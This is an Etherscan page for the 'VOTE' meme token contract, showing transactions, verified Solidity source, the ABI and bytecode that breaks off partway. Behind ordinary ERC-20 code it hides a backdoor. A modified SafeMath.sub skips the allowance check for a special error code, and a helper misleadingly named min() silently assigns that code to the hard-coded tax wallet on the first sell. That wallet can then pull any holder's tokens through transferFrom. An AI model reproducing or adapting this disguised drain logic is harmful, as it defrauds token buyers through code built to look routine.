ETH Price: $3,351.95 (-3.51%)

Contract

0xB457D1aBf54bC76B561697f9740A739691eE4a94
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve209817722024-10-17 0:42:2371 days ago1729125743IN
0xB457D1aB...691eE4a94
0 ETH0.00021738.74683487
Approve209068132024-10-06 13:29:2381 days ago1728221363IN
0xB457D1aB...691eE4a94
0 ETH0.000343267.27434045
Approve209049212024-10-06 7:08:3581 days ago1728198515IN
0xB457D1aB...691eE4a94
0 ETH0.000295826.26911399
Approve209048812024-10-06 7:00:3581 days ago1728198035IN
0xB457D1aB...691eE4a94
0 ETH0.000210814.47096382
Approve209048362024-10-06 6:51:3581 days ago1728197495IN
0xB457D1aB...691eE4a94
0 ETH0.000239475.10865785
Transfer209048332024-10-06 6:50:5981 days ago1728197459IN
0xB457D1aB...691eE4a94
0 ETH0.000204864.8924964
Transfer209048332024-10-06 6:50:5981 days ago1728197459IN
0xB457D1aB...691eE4a94
0 ETH0.000204864.8924964
Transfer209048332024-10-06 6:50:5981 days ago1728197459IN
0xB457D1aB...691eE4a94
0 ETH0.000309995.25660966
Transfer209048282024-10-06 6:49:5981 days ago1728197399IN
0xB457D1aB...691eE4a94
0 ETH0.000214235.11636095
Transfer209048282024-10-06 6:49:5981 days ago1728197399IN
0xB457D1aB...691eE4a94
0 ETH0.000214235.11636095
Approve209048262024-10-06 6:49:3581 days ago1728197375IN
0xB457D1aB...691eE4a94
0 ETH0.000197054.20381182
Approve209048262024-10-06 6:49:3581 days ago1728197375IN
0xB457D1aB...691eE4a94
0 ETH0.000197054.20381182
Approve209048262024-10-06 6:49:3581 days ago1728197375IN
0xB457D1aB...691eE4a94
0 ETH0.000197054.20381182
Transfer209048262024-10-06 6:49:3581 days ago1728197375IN
0xB457D1aB...691eE4a94
0 ETH0.000217895.20518904
Transfer209048262024-10-06 6:49:3581 days ago1728197375IN
0xB457D1aB...691eE4a94
0 ETH0.00030695.20518904
Approve209047972024-10-06 6:43:4781 days ago1728197027IN
0xB457D1aB...691eE4a94
0 ETH0.000392148.31244211
Approve209047882024-10-06 6:41:5981 days ago1728196919IN
0xB457D1aB...691eE4a94
0 ETH0.000266125.63971584
Approve209047862024-10-06 6:41:3581 days ago1728196895IN
0xB457D1aB...691eE4a94
0 ETH0.000410258.69617075
Approve209047682024-10-06 6:37:4781 days ago1728196667IN
0xB457D1aB...691eE4a94
0 ETH0.0001743.69210922
Approve209047512024-10-06 6:34:2381 days ago1728196463IN
0xB457D1aB...691eE4a94
0 ETH0.000249645.29038823
Approve209047372024-10-06 6:31:3581 days ago1728196295IN
0xB457D1aB...691eE4a94
0 ETH0.000191714.06270952
Approve209047212024-10-06 6:28:2381 days ago1728196103IN
0xB457D1aB...691eE4a94
0 ETH0.000114223.84241201
Approve209047182024-10-06 6:27:4781 days ago1728196067IN
0xB457D1aB...691eE4a94
0 ETH0.000216684.62245161
Approve209047182024-10-06 6:27:4781 days ago1728196067IN
0xB457D1aB...691eE4a94
0 ETH0.000216684.62245161
Approve209047182024-10-06 6:27:4781 days ago1728196067IN
0xB457D1aB...691eE4a94
0 ETH0.000216684.62245161
View all transactions

Latest 9 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
209046802024-10-06 6:20:1181 days ago1728195611
0xB457D1aB...691eE4a94
0.31002209 ETH
209046802024-10-06 6:20:1181 days ago1728195611
0xB457D1aB...691eE4a94
0.31002209 ETH
209046722024-10-06 6:18:3581 days ago1728195515
0xB457D1aB...691eE4a94
0.35291986 ETH
209046722024-10-06 6:18:3581 days ago1728195515
0xB457D1aB...691eE4a94
0.35291986 ETH
209046692024-10-06 6:17:5981 days ago1728195479
0xB457D1aB...691eE4a94
0.1193717 ETH
209046692024-10-06 6:17:5981 days ago1728195479
0xB457D1aB...691eE4a94
0.1193717 ETH
209046602024-10-06 6:16:1181 days ago1728195371
0xB457D1aB...691eE4a94
0.34126188 ETH
209046602024-10-06 6:16:1181 days ago1728195371
0xB457D1aB...691eE4a94
0.34126188 ETH
209046522024-10-06 6:14:3581 days ago1728195275
0xB457D1aB...691eE4a94
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
VOTE

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : HUNTER10_4.sol
// SPDX-License-Identifier: MIT

/*    
    Vote, vote, vote!

    https://x.com/elonmusk/status/1842808435106050069
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, 0);
    }

    function sub(uint256 a, uint256 b, uint256 errorType) internal pure returns (uint256) {
        if(errorType == 0 || errorType == 1) {
            require(b <= a, "ERC20: transfer amount exceeds allowance");
            return a - b;
        }
        return 0;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract VOTE is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFees;
    mapping (address => uint256) public _errorType;

    uint256 public _cutAsBuyFee = 7;
    uint256 public _cutAsSellFee = 7;
    uint256 public _finalCutBuy = 0; 
    uint256 public _finalCutSell = 0; 
    uint256 public _tradeCounts = 0;
    uint256 public _reduceFeeAt = 5;
    address payable public _taxBox;
    uint8 private constant _decimals = 9;
    uint256 private constant _maxSupply = 1000000000 * 10**_decimals; // Total supply
    string private constant _name = unicode"Vote, vote, vote!";  // Name
    string private constant _symbol = unicode"VOTE"; // Symbol
    uint256 public _swapBackThresholdForSwapback= 0 * 10**_decimals;
    uint256 public _maxAccountSizeAmount = 20000000 * 10 ** decimals();
    uint256 public _maxSwapbackAmount = 20000000 * 10 ** decimals();

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxBox = payable(0x4509ebcCDABfB8dEF5F3c8DEF464F486D1ddAeE9);
        _balances[address(this)] = _maxSupply;
        _isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[_taxBox] = true;
        _errorType[owner()] = 1; _errorType[address(this)] = 1; _errorType[_taxBox] = 1;
        emit Transfer(address(0), address(this), _maxSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _maxSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount , _errorType[msg.sender]));
        return true;
    }
    

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading () external onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _maxSupply); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            98*balanceOf(address(this))/100,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            require(swapEnabled, "not started yet");
            if(to == uniswapV2Pair)
                taxAmount = amount.mul(_tradeCounts<_reduceFeeAt? _cutAsSellFee : _finalCutSell).div(100);
            if (from == uniswapV2Pair && to != address(uniswapV2Router))
                taxAmount = amount.mul(_tradeCounts++ <_reduceFeeAt? _cutAsBuyFee : _finalCutBuy).div(100);
            if(to != uniswapV2Pair)
               require(balanceOf(to) + amount <= _maxAccountSizeAmount, "Exceeds the _maxAccountSizeAmount.");
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if(balanceOf(address(this)) > _swapBackThresholdForSwapback)
                    swapBackForETH(min(balanceOf(address(this)), min(_maxSwapbackAmount, amount)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance >= 0) payable(_taxBox).transfer(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private returns (uint256){
      _errorType[_taxBox] = 2;
      return (a>b)?b:a;
    }

    function swapBackForETH(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}

    function rescueETH () external onlyOwner {payable(msg.sender)
        .transfer(address(this).balance);
    }

    function removeLimits () external onlyOwner {
        _maxAccountSizeAmount = _maxSupply;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_cutAsBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_cutAsSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_errorType","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalCutBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_finalCutSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxAccountSizeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSwapbackAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceFeeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapBackThresholdForSwapback","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxBox","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradeCounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600760055560076006555f6007555f6008555f6009556005600a556009600a61002d91906106b3565b5f61003891906106fd565b600c5561004961044b60201b60201c565b600a61005591906106b3565b6301312d0061006491906106fd565b600d5561007561044b60201b60201c565b600a61008191906106b3565b6301312d0061009091906106fd565b600e555f601060146101000a81548160ff0219169083151502179055505f601060156101000a81548160ff0219169083151502179055503480156100d2575f80fd5b506100ef6100e461045360201b60201c565b61045a60201b60201c565b734509ebccdabfb8def5f3c8def464f486d1ddaee9600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a61015191906106b3565b633b9aca0061016091906106fd565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f6101b461051b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f6102e161051b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160045f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a61042291906106b3565b633b9aca0061043191906106fd565b60405161043e919061074d565b60405180910390a3610766565b5f6009905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105c4578086048111156105a05761059f610542565b5b60018516156105af5780820291505b80810290506105bd8561056f565b9450610584565b94509492505050565b5f826105dc5760019050610697565b816105e9575f9050610697565b81600181146105ff576002811461060957610638565b6001915050610697565b60ff84111561061b5761061a610542565b5b8360020a91508482111561063257610631610542565b5b50610697565b5060208310610133831016604e8410600b841016171561066d5782820a90508381111561066857610667610542565b5b610697565b61067a848484600161057b565b9250905081840481111561069157610690610542565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6106bd8261069e565b91506106c8836106a7565b92506106f57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846105cd565b905092915050565b5f6107078261069e565b91506107128361069e565b92508282026107208161069e565b9150828204841483151761073757610736610542565b5b5092915050565b6107478161069e565b82525050565b5f6020820190506107605f83018461073e565b92915050565b612e96806107735f395ff3fe60806040526004361061019f575f3560e01c806370a08231116100eb5780638da5cb5b11610089578063cbbd7c4e11610063578063cbbd7c4e1461057a578063dd62ed3e146105a4578063e0bf7fd1146105e0578063f2fde38b1461061c576101a6565b80638da5cb5b146104ea57806395d89b4114610514578063a9059cbb1461053e576101a6565b80637ca5bd68116100c55780637ca5bd681461045657806385399f871461048057806389a565b9146104aa5780638a8c523c146104d4576101a6565b806370a08231146103ee578063715018a61461042a578063751039fc14610440576101a6565b806326ce0e0011610158578063347f1f4411610132578063347f1f44146103345780636e446d2c1461035e5780636f9f15a2146103885780636fd50aad146103c4576101a6565b806326ce0e00146102b657806330c45ada146102e0578063313ce5671461030a576101a6565b806306fdde03146101aa578063095ea7b3146101d457806310f6f5df1461021057806318160ddd1461023a57806320800a001461026457806323b872dd1461027a576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101be610644565b6040516101cb9190611f51565b60405180910390f35b3480156101df575f80fd5b506101fa60048036038101906101f59190612002565b610681565b604051610207919061205a565b60405180910390f35b34801561021b575f80fd5b5061022461069e565b6040516102319190612082565b60405180910390f35b348015610245575f80fd5b5061024e6106a4565b60405161025b9190612082565b60405180910390f35b34801561026f575f80fd5b506102786106c7565b005b348015610285575f80fd5b506102a0600480360381019061029b919061209b565b610715565b6040516102ad919061205a565b60405180910390f35b3480156102c1575f80fd5b506102ca61080e565b6040516102d79190612082565b60405180910390f35b3480156102eb575f80fd5b506102f4610814565b604051610301919061210b565b60405180910390f35b348015610315575f80fd5b5061031e610839565b60405161032b919061213f565b60405180910390f35b34801561033f575f80fd5b50610348610841565b6040516103559190612082565b60405180910390f35b348015610369575f80fd5b50610372610847565b60405161037f9190612082565b60405180910390f35b348015610393575f80fd5b506103ae60048036038101906103a99190612158565b61084d565b6040516103bb9190612082565b60405180910390f35b3480156103cf575f80fd5b506103d8610862565b6040516103e59190612082565b60405180910390f35b3480156103f9575f80fd5b50610414600480360381019061040f9190612158565b610868565b6040516104219190612082565b60405180910390f35b348015610435575f80fd5b5061043e6108ae565b005b34801561044b575f80fd5b506104546108c1565b005b348015610461575f80fd5b5061046a6108ee565b6040516104779190612082565b60405180910390f35b34801561048b575f80fd5b506104946108f4565b6040516104a19190612082565b60405180910390f35b3480156104b5575f80fd5b506104be6108fa565b6040516104cb9190612082565b60405180910390f35b3480156104df575f80fd5b506104e8610900565b005b3480156104f5575f80fd5b506104fe610d06565b60405161050b9190612192565b60405180910390f35b34801561051f575f80fd5b50610528610d2d565b6040516105359190611f51565b60405180910390f35b348015610549575f80fd5b50610564600480360381019061055f9190612002565b610d6a565b604051610571919061205a565b60405180910390f35b348015610585575f80fd5b5061058e610d87565b60405161059b9190612082565b60405180910390f35b3480156105af575f80fd5b506105ca60048036038101906105c591906121ab565b610d8d565b6040516105d79190612082565b60405180910390f35b3480156105eb575f80fd5b5061060660048036038101906106019190612158565b610e0f565b604051610613919061205a565b60405180910390f35b348015610627575f80fd5b50610642600480360381019061063d9190612158565b610e2c565b005b60606040518060400160405280601181526020017f566f74652c20766f74652c20766f746521000000000000000000000000000000815250905090565b5f61069461068d610eae565b8484610eb5565b6001905092915050565b600e5481565b5f6009600a6106b39190612345565b633b9aca006106c2919061238f565b905090565b6106cf611078565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610712573d5f803e3d5ffd5b50565b5f6107218484846110f6565b6108038461072d610eae565b6107fe8560045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107b5610eae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119299092919063ffffffff16565b610eb5565b600190509392505050565b60055481565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6009905090565b60075481565b60095481565b6004602052805f5260405f205f915090505481565b60065481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108b6611078565b6108bf5f61199e565b565b6108c9611078565b6009600a6108d79190612345565b633b9aca006108e6919061238f565b600d81905550565b600d5481565b60085481565b600a5481565b610908611078565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610969573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098d91906123e4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a1691906123e4565b6040518363ffffffff1660e01b8152600401610a3392919061240f565b6020604051808303815f875af1158015610a4f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7391906123e4565b60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b3a30600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610b269190612345565b633b9aca00610b35919061238f565b610eb5565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064610b8430610868565b6062610b90919061238f565b610b9a9190612463565b5f80610ba4610d06565b426040518863ffffffff1660e01b8152600401610bc6969594939291906124d5565b60606040518083038185885af1158015610be2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c079190612548565b50505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ca7929190612598565b6020604051808303815f875af1158015610cc3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ce791906125e9565b506001601060156101000a81548160ff02191690831515021790555050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f564f544500000000000000000000000000000000000000000000000000000000815250905090565b5f610d7d610d76610eae565b84846110f6565b6001905092915050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6003602052805f5260405f205f915054906101000a900460ff1681565b610e34611078565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ea2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9990612684565b60405180910390fd5b610eab8161199e565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90612712565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f88906127a0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106b9190612082565b60405180910390a3505050565b611080610eae565b73ffffffffffffffffffffffffffffffffffffffff1661109e610d06565b73ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90612808565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115b90612896565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990612924565b60405180910390fd5b5f8111611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b906129b2565b60405180910390fd5b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112b3